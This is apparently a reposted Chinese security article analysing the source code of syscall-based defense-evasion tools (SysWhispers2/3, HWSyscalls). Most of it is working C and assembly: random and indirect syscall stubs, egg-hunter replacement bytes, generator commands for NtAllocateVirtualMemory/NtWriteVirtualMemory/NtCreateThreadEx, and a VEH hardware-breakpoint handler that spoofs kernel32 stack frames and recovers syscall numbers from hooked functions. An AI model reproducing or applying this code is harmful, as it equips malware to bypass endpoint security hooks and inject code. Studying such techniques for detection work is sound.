PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate SW2_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
do
{
PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 'wZ')
{
Entries[i].Hash = SW2_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
i++;
if (i == SW2_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
// Save total number of system calls found.
SW2_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (i = 0; i < SW2_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW2_SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
}
}
}
#ifdef RANDSYSCALL
#ifdef _WIN64
EXTERN_C uint64_t SW2_GetRandomSyscallAddress(void)
#else
EXTERN_C DWORD SW2_GetRandomSyscallAddress(int callType)
#endif
{
int instructOffset = 0;
int instructValue = 0;
#ifndef _WIN64
// Wow64
if (callType == 0)
{
instructOffset = 0x05;
instructValue = 0x0E8;
}
// x86
else if (callType == 1)
{
instructOffset = 0x05;
instructValue = 0x0BA;
}
#else
instructOffset = 0x12;
instructValue = 0x0F;
#endif
srand(time(0));
do
{
int randNum = (rand() % (SW2_SyscallList.Count + 1));
if (*(unsigned char*)(ntdllBase + SW2_SyscallList.Entries[randNum].Address + instructOffset) == instructValue)
return (ntdllBase + SW2_SyscallList.Entries[randNum].Address + instructOffset);
} while(1);
}
#endif
根据下图可以看出偏移为0x12。
.text:000000018009F600 NtCreateThread proc near ; DATA XREF: .rdata:0000000180134736↓o
.text:000000018009F600 ; .rdata:off_18016A5C8↓o
.text:000000018009F600 ; .pdata:00000001801905C4↓o
.text:000000018009F600 4C 8B D1 mov r10, rcx ; NtCreateThread
.text:000000018009F603 B8 4E 00 00 00 mov eax, 4Eh ; 'N'
.text:000000018009F608 F6 04 25 08 03 FE 7F 01 test byte ptr ds:7FFE0308h, 1
.text:000000018009F610 75 03 jnz short loc_18009F615
.text:000000018009F610
.text:000000018009F612 0F 05 syscall ; Low latency system call
.text:000000018009F614 C3 retn
用ntdll.dll的syscall指令就解决了这个问题,合理多了。
SysWhispers3(spoof_call_jump)
git clone https://github.com/klezVirus/SysWhispers3.git
cd SysWhispers3
python .syswhispers.py --help
py .syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls -m jumper_randomized
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. __/
`-. | | `-. |/|/ | | | `-. | | |-' | `-. .
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' '''
/| | @Jackson_T
`-' ' @modexpblog, 2021
Edits by @klezVirus, 2022
SysWhispers3: Why call the kernel when you can whisper?
[*] Searching for alternative header files...done
[*] Resolving header files...done
[*] Recursively resolving header files from #include directives...done
[*] Removing duplicates...done
当只使用egg_hunter生成时会有提示,每次随机生成的egg垃圾字符串是不同的,需要手动转换成syscall指令(混淆解码)。
py .syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls -m egg_hunter
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. __/
`-. | | `-. |/|/ | | | `-. | | |-' | `-. .
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' '''
/| | @Jackson_T
`-' ' @modexpblog, 2021
Edits by @klezVirus, 2022
SysWhispers3: Why call the kernel when you can whisper?
[*] Searching for alternative header files...done
[*] Resolving header files...done
[*] Recursively resolving header files from #include directives...done
[*] Removing duplicates...done
[*] With the egg-hunter, you need to use a search-replace functionality:
unsigned char egg[] = { 0x65, 0x0, 0x0, 0x61, 0x65, 0x0, 0x0, 0x61 }; // egg
unsigned char replace[] = { 0x0f, 0x05, 0x90, 0x90, 0xC3, 0x90, 0xCC, 0xCC }; // syscall; nop; nop; ret; nop; int3; int3
EXTERN SW3_GetSyscallNumber: PROC
Sw3NtAllocateVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A30CA99Fh ; Load function hash into ECX.
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
DB 65h ; "e"
DB 0h ; "0"
DB 0h ; "0"
DB 61h ; "a"
DB 65h ; "e"
DB 0h ; "0"
DB 0h ; "0"
DB 61h ; "a"
ret
Sw3NtAllocateVirtualMemory ENDP
就算实现了,这里也是直接系统调用,不靠谱,所以我们来看jumper。
EXTERN SW3_GetSyscallNumber: PROC
EXTERN SW3_GetRandomSyscallAddress: PROC
Sw3NtAllocateVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 001960D01h ; Load function hash into ECX.
call SW3_GetRandomSyscallAddress ; Get a syscall offset from a different api.
mov r11, rax ; Save the address of the syscall
mov ecx, 001960D01h ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtAllocateVirtualMemory ENDP
jmp r11
,r11是SW3_GetRandomSyscallAddress
获取的syscall address。这种方式可以绕过对静态syscall指令的扫描。HWSyscalls(VEH异常处理硬件断点)
![免杀动态对抗之syscall[源码分析] 免杀动态对抗之syscall[源码分析]](https://cn-sec.com/wp-content/uploads/2024/06/9-1718362327.png)
PrepareSyscall(要调用的NT函数)
即可触发VEH,同时间接调用nt函数对应的syscall。DeinitHWSyscalls进行收尾处理。
#include "HWSyscalls.h"
typedef NTSTATUS(WINAPI* NtOpenProcess_t)(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN OPTIONAL PCLIENT_ID ClientId);
void main() {
// Initialize the exception handler and find the required gadgets.
if (!InitHWSyscalls())
return;
// ...
// Execute your function!
NtOpenProcess_t pNtOpenProcess = (NtOpenProcess_t)PrepareSyscall((char*)("NtOpenProcess"));
NTSTATUS status = pNtOpenProcess(&targetHandle, PROCESS_ALL_ACCESS, &object, &clientID);
// ...
// Removing the exception handler.
DeinitHWSyscalls();
}
bool InitHWSyscalls() {
myThread = GetCurrentThread();
hNtdll = (HANDLE)GetModuleAddress((LPWSTR)L"ntdll.dll");
if (!FindRetGadget()) {
DEBUG_PRINT("[!] Could not find a suitable "ADD RSP,68;RET" gadget in kernel32 or kernelbase. InitHWSyscalls failed.");
return false;
}
// Register exception handler
exceptionHandlerHandle = AddVectoredExceptionHandler(1, &HWSyscallExceptionHandler);
if (!exceptionHandlerHandle) {
DEBUG_PRINT("[!] Could not register VEH: 0x%Xn", GetLastError());
return false;
}
return SetMainBreakpoint();
}
bool FindRetGadget() {
// Dynamically search for a suitable "ADD RSP,68;RET" gadget in both kernel32 and kernelbase
retGadgetAddress = FindInModule("KERNEL32.DLL", (PBYTE)"x48x83xC4x68xC3", (PCHAR)"xxxxx");
if (retGadgetAddress != 0) {
DEBUG_PRINT("[+] Found RET_GADGET in kernel32.dll: %#llxn", retGadgetAddress);
return true;
}
else {
retGadgetAddress = FindInModule("kernelbase.dll", (PBYTE)"x48x83xC4x68xC3", (PCHAR)"xxxxx");
DEBUG_PRINT("[+] Found RET_GADGET in kernelbase.dll: %#llxn", retGadgetAddress);
if (retGadgetAddress != 0) {
return true;
}
}
return false;
}
PVOID AddVectoredExceptionHandler(
ULONG First,
PVECTORED_EXCEPTION_HANDLER Handler
);
LONG HWSyscallExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo) {
// 单步执行异常
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
// RIP命中断点函数
if (ExceptionInfo->ContextRecord->Rip == (DWORD64)&PrepareSyscall) {
DEBUG_PRINT("n===============HWSYSCALLS DEBUG===============");
DEBUG_PRINT("n[+] PrepareSyscall Breakpoint Hit (%#llx)!n", ExceptionInfo->ExceptionRecord->ExceptionAddress);
// 从ntdll中找到PrepareSyscall传入的函数地址
// Find the address of the syscall function in ntdll we got as the first argument of the PrepareSyscall function
ntFunctionAddress = GetSymbolAddress((UINT64)hNtdll, (const char*)(ExceptionInfo->ContextRecord->Rcx));
DEBUG_PRINT("[+] Found %s address: 0x%I64Xn", (const char*)(ExceptionInfo->ContextRecord->Rcx), ntFunctionAddress);
// 将硬件断点Dr0移动到指定调用nt函数
// Move breakpoint to the NTAPI function;
DEBUG_PRINT("[+] Moving breakpoint to %#llxn", ntFunctionAddress);
ExceptionInfo->ContextRecord->Dr0 = ntFunctionAddress;
}
// 调用PrepareSyscall指定nt函数触发断点
else if (ExceptionInfo->ContextRecord->Rip == (DWORD64)ntFunctionAddress) {
DEBUG_PRINT("[+] NTAPI Function Breakpoint Hit (%#llx)!n", (DWORD64)ExceptionInfo->ExceptionRecord->ExceptionAddress);
// 伪造一个kernel32.dll的堆栈,利用FindRetGadget获取"ADD RSP,68;RET"的gadget
// Create a new stack to spoof the kernel32 function address
// The stack size will be 0x70 which is compatible with the RET_GADGET we found.
// sub rsp, 70
ExceptionInfo->ContextRecord->Rsp -= 0x70;
// 为什么这里是0x70,因为RET本身会退栈0x8(pop rip),ADD 0x68+0X8就是0x70的空间,为了栈对齐
// mov rsp, REG_GADGET_ADDRESS
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp) = retGadgetAddress;
DEBUG_PRINT("[+] Created a new stack frame with RET_GADGET (%#llx) as the return addressn", retGadgetAddress);
// 栈中函数参数的伪造
// 假设有八个参数,将参数从rsp+0x70+offset转移到rsp+offset
// offset是由预定义的参数数量和偏移来计算的
// Copy the stack arguments from the original stack
for (size_t idx = 0; idx < STACK_ARGS_LENGTH; idx++)
{
const size_t offset = idx * STACK_ARGS_LENGTH + STACK_ARGS_RSP_OFFSET;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset + 0x70);
}
DEBUG_PRINT("[+] Original stack arguments successfully copied over to the new stackn");
DWORD64 pFunctionAddress = ExceptionInfo->ContextRecord->Rip;
// 4C 8B D1mov r10, rcx; NtCreateThread
// B8 4E 00 00 00mov eax, 4Eh ; 'N'
// 检查前四个字节是否是通用syscall序列
// 不一样则是hook了
char nonHookedSyscallBytes[] = { 0x4C,0x8B,0xD1,0xB8 };
if (FindPattern(pFunctionAddress, 4, (PBYTE)nonHookedSyscallBytes, (PCHAR)"xxxx")) {
DEBUG_PRINT("[+] Function is not hookedn");
DEBUG_PRINT("[+] Continuing with normal executionn");
}
else {
DEBUG_PRINT("[+] Function is HOOKED!n");
DEBUG_PRINT("[+] Looking for the SSN via Halos Gaten");
// 仿照天堂之门,动态获取SSN
WORD syscallNumber = FindSyscallNumber(pFunctionAddress);
//
if (syscallNumber == 0) {
ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet;
return EXCEPTION_CONTINUE_EXECUTION;
}
DWORD64 syscallReturnAddress = FindSyscallReturnAddress(pFunctionAddress, syscallNumber);
if (syscallReturnAddress == 0) {
ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet;
return EXCEPTION_CONTINUE_EXECUTION;
}
// 最终构造syscall序列,间接调用找到的syscall;ret
// mov r10, rcx
DEBUG_PRINT("[+] Moving RCX to R10 (mov r10, rcx)n");
ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx;
//mov eax, SSN
DEBUG_PRINT("[+] Moving SSN to RAX (mov rax, 0x%X)n", syscallNumber);
ExceptionInfo->ContextRecord->Rax = syscallNumber;
//Set RIP to syscall;ret; opcode address
DEBUG_PRINT("[+] Jumping to "syscall;ret;" opcode address: 0x%I64Xn", syscallReturnAddress);
ExceptionInfo->ContextRecord->Rip = syscallReturnAddress;
}
// Move breakpoint back to PrepareSyscall to catch the next invoke
DEBUG_PRINT("[+] Moving breakpoint back to PrepareSyscall to catch the next invoken");
ExceptionInfo->ContextRecord->Dr0 = (UINT64)&PrepareSyscall;
DEBUG_PRINT("==============================================nn");
}
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
DWORD64 FindSyscallReturnAddress(DWORD64 functionAddress, WORD syscallNumber) {
// @sektor7 - RED TEAM Operator: Windows Evasion course - https://blog.sektor7.net/#!res/2021/halosgate.md
DWORD64 syscallReturnAddress = 0;
for (WORD idx = 1; idx <= 32; idx++) {
if (*((PBYTE)functionAddress + idx) == 0x0f && *((PBYTE)functionAddress + idx + 1) == 0x05) {
syscallReturnAddress = (DWORD64)((PBYTE)functionAddress + idx);
DEBUG_PRINT("[+] Found "syscall;ret;" opcode address: 0x%I64Xn", syscallReturnAddress);
break;
}
}
if (syscallReturnAddress == 0)
DEBUG_PRINT("[-] Could not find "syscall;ret;" opcode addressn");
return syscallReturnAddress;
}
这就轮到初始化函数InitHWSyscalls中的SetMainBreakpoint出场了。
bool InitHWSyscalls() {
......
// Register exception handler
exceptionHandlerHandle = AddVectoredExceptionHandler(1, &HWSyscallExceptionHandler);
......
return SetMainBreakpoint();
}
SetThreadContext
下在了ctx.Dr0上,是PrepareSyscall函数,这个函数的作用是返回一个函数地址,入参是需要调用的nt函数。UINT64 PrepareSyscall(char* functionName) {
return ntFunctionAddress;
}
bool SetMainBreakpoint() {
// Dynamically find the GetThreadContext and SetThreadContext functions
GetThreadContext_t pGetThreadContext = (GetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERNEL32.DLL"), "GetThreadContext");
SetThreadContext_t pSetThreadContext = (SetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERNEL32.DLL"), "SetThreadContext");
DWORD old = 0;
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
// Get current thread context
pGetThreadContext(myThread, &ctx);
// Set hardware breakpoint on PrepareSyscall function
ctx.Dr0 = (UINT64)&PrepareSyscall;
ctx.Dr7 |= (1 << 0);
ctx.Dr7 &= ~(1 << 16);
ctx.Dr7 &= ~(1 << 17);
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
// Apply the modified context to the current thread
if (!pSetThreadContext(myThread, &ctx)) {
DEBUG_PRINT("[-] Could not set new thread context: 0x%X", GetLastError());
return false;
}
DEBUG_PRINT("[+] Main HWBP set successfullyn");
return true;
}
HWSyscalls通过注册VEH异常处理程序,通过手动给触发函数下硬件断点的方式,通过参数将需要调用的内核函数名送入VEH处理程序,在其中操作寄存器,通过寻找kernel32.dll 的"ADD XX;RET"gadget,配合VEH.RSP操作,伪造kernel32.dll栈,接着将间接调用的栈帧布置在伪造的kernel32.dll栈后面,实现了更彻底更完美的间接系统调用。
该项目吸收了旧技术的精髓,和SysWhispers系列项目一样,都是syscall方面的精品项目。
看雪ID:天堂猪0ink
https://bbs.kanxue.com/user-home-959762.htm
#
原文始发于微信公众号(看雪学苑):免杀动态对抗之syscall[源码分析]
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论